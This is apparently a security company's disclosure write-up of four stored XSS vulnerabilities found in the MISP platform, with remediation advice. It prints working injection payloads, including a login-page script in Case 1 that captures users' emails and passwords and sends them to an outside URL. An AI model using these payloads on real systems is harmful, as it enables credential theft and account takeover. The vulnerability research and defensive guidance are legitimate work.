Stored Cross-Site Scripting (XSS) are relatively common and dangerous vulnerabilities that can compromise your web application’s security. In this article, we will discuss what stored XSS attacks are, their impact on website security, and stored XSS protection in web applications with examples of stored XSS vulnerability we found in MISP.

In this article you will find:

• Introduction to Stored XSS Attacks
• Briefly, what is MISP and what findings have we discovered?
• Technical Explanation and Examples of Stored XSS Attacks in the MISP Application
  • Case 1 – LinOTP Plugin
  • Case 2 – Galaxy clusters view
  • Case 3 – Event graph view
  • Case 4 – Cerebrates
• Generic Impact of Stored XSS Attacks
• Best Practices for XSS Protection
  • Output validation and sanitization
  • Use HTTP Headers
  • Use HttpOnly and Secure Cookie Flags
  • Remediations Summary
• Conclusion

Introduction to Stored XSS Attacks:

Cross-Site Scripting (XSS) attacks involve injecting malicious code into a website to steal data or modify content. Stored XSS attacks, also known as Persistent XSS attacks, occur when malicious code is injected into a web application and stored on the server for an extended period. The code can steal sensitive information, modify content, or redirect users to malicious websites.

Briefly, what is MISP and what findings have we discovered?

MISP is an open-source intelligence-sharing platform that allows organizations to share and store data securely. However, even MISP has vulnerabilities, including stored XSS. Recently, Dawid found a stored XSS vulnerability in the MISP application, which could allow an attacker to execute malicious code in a user’s browser. The attacker could then steal users’ authentication credentials, edit, or modify information, or redirect the user to a malicious website.

Technical Explanation and Examples of Stored XSS Attacks in the MISP Application

During the penetration testing, Dawid discovered that the application vulnerability was caused by insufficient output sanitization. The attacker could use the MISP API to inject malicious code into the application, which would then be stored in the database. We found that the vulnerability affected a couple of different places in the MISP applications and could be exploited using specially crafted input. Here is the list of affected components:

To demonstrate the impact of this vulnerability, we take a look at each case.

Case 1 – LinOTP Plugin

Okay, the first one is also the most impactful one. The LinOTP plugin contains a Stored XSS vulnerability allowing malicious administrators to inject a JavaScript payload inside the LinOTPAuth.baseUrl MISP setting. This payload will be later on executed by anyone viewing the MISP login page.

I am going to demonstrate the consequences with an example of a malicious administrator stealing victim users’ credentials when users authenticate to the application.

The following section allows injecting the malicious script:

Administration > Server Settings & Maintenance > Security Settings > LinOTPAuth.baseUrl

Credentials theft scenario:

To illustrate the vulnerability impact, we enabled the LinOTPAuth plugin and set the “LinOTPAuth.baseUrl” MISP setting to the following value:

https://127.0.0.1:9999/?q="></a><script>$(function(){$('#UserLoginForm ').submit(function(e){em=$("input#UserEmail").val();p=$("input#UserPas sword").val();alert("I'm stealing your email and password: "+em+": "+p);location.href='https://zigrin.com/misp-exfiltration?e='+em+'&p='+p;return false;});})</script><a href="

We changed those settings as a MISP administrator via the following link:

http://<MISP-SERVER>/servers/serverSettings/Security

When another user tries to log in, the following message appears:

Stealing users’ credentials via Stored XSS

Subsequently, the script redirects the user to the attacker’s-controlled website with his username and password in the URL. This password is saved in the logs of the attacker’s website:

Do not forget that this is just an example scenario, a real attack could be conducted in a much stealthier way with no significant changes to the MISP behavior.

Case 2 – Galaxy clusters view

In the second case our point of injection is a galaxy cluster. As you will see in this example, MISP users assigned to a specific role can create and edit created galaxy clusters. This is available under the following URL path: /galaxy_clusters/view/1 .

By default, the following roles have assigned the “perm_galaxy_editor” permission, required to conduct these actions:

• Administrator
• Org admin
• Sync user

A malicious user assigned to one of the above roles can inject a JavaScript code into the “Source” field of a new or edited galaxy cluster. This code will be executed by other users who view the details of this galaxy cluster.

We conducted the following steps to demonstrate this vulnerability:

1. Visit the URL path: /galaxy_clusters/view/1
2. Click the “Add Cluster” link
3. Specify a name, for example, “XSS Cluster”
4. Insert the following link in the source field and click “Submit”:

https://zigrin.com/source?a="><script>alert("Stored- XSS:"+document.domain)</script>

Do not forget that, the content has to be a valid URL without spaces. Immediately after pressing “Submit” the following alert box appears:

Stored XSS in Galaxy Cluster view

Boom! An alert box, we all love to see one when testing XSSes. Now, this alert box will execute on the browsers of all users who will try to view this galaxy cluster via the following URL: http://misp.local/galaxy_clusters/view/10349

In a real-life scenario, an attacker can instruct the administrator’s browser to create a new administrator user and gain full administrative access to the MISP platform. But the attacker would have to utilize techniques to include more JavaScript payload as the “Source” input field is truncated to 255 characters.

Case 3 – Event graph view

MISP allows some users to create new tags that can be later on used in events and attributes.

By default, the following roles have assigned the “perm_tag_editor” permission, required to create new tags:

• Administrator
• Org admin
• Sync user

When a malicious user with such permission creates a tag with injected JavaScript code, it will be executed when viewing an event graph of any MISP event.

We conducted the following steps to demonstrate this vulnerability:

• Visit “Event Actions > Add Tag”
• Specify a tag’s color, for example: #ffffff
• Insert the following payload into the “Name” field and click “Submit”:

XSS'"><img src="aaa" onerror="alert`Storred XSS in event graph`" />

Subsequently, view any event created in the MISP instance from a victim’s perspective. Click on the event graph button:

Event graph button triggering the XSS

When clicked, the JavaScript code is executed and the alert box we have been waiting appears:

Stored XSS executed in event graph view

Case 4 – Cerebrates

In this example, you will hear the familiar name of another CIRCL product, Cerebrate. But this vulnerability is not in Cerebrate. A Sync action for cerebrate in MISP allows entering a URL for a Cerebrate instance. This URL can contain the “javascript:” prefix followed by a JavaScript code. When an administrator injects a JavaScript code that way, this script will be executed when viewing the cerebrate information and clicking on the URL.

To illustrate the attack using this vulnerability we inserted the following payload into the Url field of a newly created Cerebrate instance:

javascript:alert(document.domain)

When any MISP administrator views this Cerebrate’s information and clicks on the URL the script executes:

JavaScript alert executed

The attack likelihood is considered very low here due to the following:

• Payload can be injected only by MISP administrators
• Payload targets other MISP administrators only
• A victim administrator has to click on a suspiciously looking link for the successful attack

Generic Impact of Stored XSS Attacks:

Stored XSS attacks can have significant impacts on website security. Attackers can use the vulnerability to steal sensitive data such as user credentials, credit card information, or other personal information. Additionally, attackers can modify website content, leading to damage to the website’s reputation. They can also redirect users to malicious websites, infecting their computers with malware or ransomware. You can find the specific impacts for stored XSS we found in MISP in the previous section.

Best Practices for XSS Protection:

To remediate the stored cross-site scripting (stored XSS) vulnerabilities that are like what Dawid found in the open-source project MISP, there are several steps that can be taken to prevent similar attacks from occurring.

Output validation and sanitization

One of the most important steps in preventing stored XSS attacks is to properly validate and sanitize output generated using the user provided data in the front end before presenting it to the user. There are many different output encoding methods because browsers parse HTML, JS, URLs, and CSS differently.

It’s important to note that user input can not only come from the HTTP request but also from the database in form of comments, posts, messages, etc.

Use HTTP Headers

• X-XSS-Protection: This header is used by modern web browsers to enable or disable the built-in XSS filtering. It can be set to the value ‘1; mode=block’ to enable the filtering, or ‘0’ to disable it.
• X-Content-Type-Options: This header helps prevent certain types of XSS attacks by preventing the browser from interpreting files as a different MIME type than the one specified by the server. The value of this header should be set to nosniff.
• Content-Security-Policy (CSP): This header allows a web application to specify which sources of content are allowed to be loaded by the browser. It provides a way to enforce a whitelist of trusted sources and can help prevent XSS attacks by blocking untrusted sources. For example, a CSP header might look like this:

Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted-domain.com; object-src ‘none’

• Strict-Transport-Security (HSTS): This header helps prevent SSL-stripping attacks, which can be used to facilitate XSS attacks. By setting this header, a web application can specify that it should only be accessed over a secure, encrypted connection.

Use HttpOnly and Secure Cookie Flags

Cookie flags are an important aspect of securing cookies from Cross-Site Scripting (XSS) attacks. Cookie flags are attributes that can be set on cookies when they are sent from the server to the client. They define the behavior of the cookie and can help prevent XSS attacks by limiting the scope of the cookie and making it more secure.

• The HttpOnly flag can be set on a cookie to prevent JavaScript from accessing its content.
• The Secure flag ensures that the cookie is only sent over encrypted connections (HTTPS), which helps to prevent eavesdropping and tampering by attackers.
• Another flag, SameSite, can be used to prevent the cookie from being sent with cross-site requests.

These flags help to make cookies more secure and can play an important role in preventing XSS attacks.

Remediations Summary

It’s important to keep in mind that preventing stored XSS vulnerabilities requires a multi-layered approach, involving a combination of technical and procedural measures. By taking these steps, administrators and developers can help prevent stored XSS attacks and protect the application and its users from potential harm.

Conclusion:

In conclusion, stored cross-site scripting (XSS) attacks pose a significant risk to the security of web applications. The vulnerabilities are caused by insufficient input sanitization, and the attacker can inject malicious code into the application, which is then stored in the database. In this article, we discussed stored XSS attacks, their impact on website security, and how to protect web applications from these attacks. We also used MISP, an open-source intelligence-sharing platform, as a case study to demonstrate the consequences of stored XSS attacks. By understanding the risks and implementing proper measures to prevent vulnerabilities, web developers and organizations can protect their websites from these attacks and ensure their users’ security.